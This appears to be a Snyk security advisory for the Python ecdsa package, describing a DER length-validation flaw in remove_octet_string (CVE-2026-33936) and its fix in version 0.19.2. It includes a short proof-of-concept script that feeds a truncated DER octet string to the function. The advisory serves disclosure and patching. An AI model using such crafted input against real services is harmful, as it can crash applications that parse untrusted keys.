Improper Handling of Length Parameter Inconsistency Affecting ecdsa package, versions [,0.19.2)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-ECDSA-15792390
  • published27 Mar 2026
  • disclosed27 Mar 2026
  • credit‪Mohamed Abdelaal‬‏

Introduced: 27 Mar 2026

CVE-2026-33936  (opens in a new tab)
CWE-130  (opens in a new tab)

How to fix?

Upgrade ecdsa to version 0.19.2 or higher.

Overview

ecdsa is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under the MIT license.

Affected versions of this package are vulnerable to Improper Handling of Length Parameter Inconsistency due to improper validation of DER-encoded data in the remove_octet_string function. An attacker can cause unexpected exceptions and application crashes by submitting specially crafted DER private keys with incorrect length fields.

PoC

from ecdsa.der import remove_octet_string, UnexpectedDER

# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00  -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"

try:
    body, rest = remove_octet_string(bad)
    print("[BUG] remove_octet_string accepted truncated DER.")
    print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
    print("Body=", body)
    print("Rest=", rest)
except UnexpectedDER as e:
    print("[OK] Rejected malformed DER:", e)

CVSS Base Scores

version 4.0
version 3.1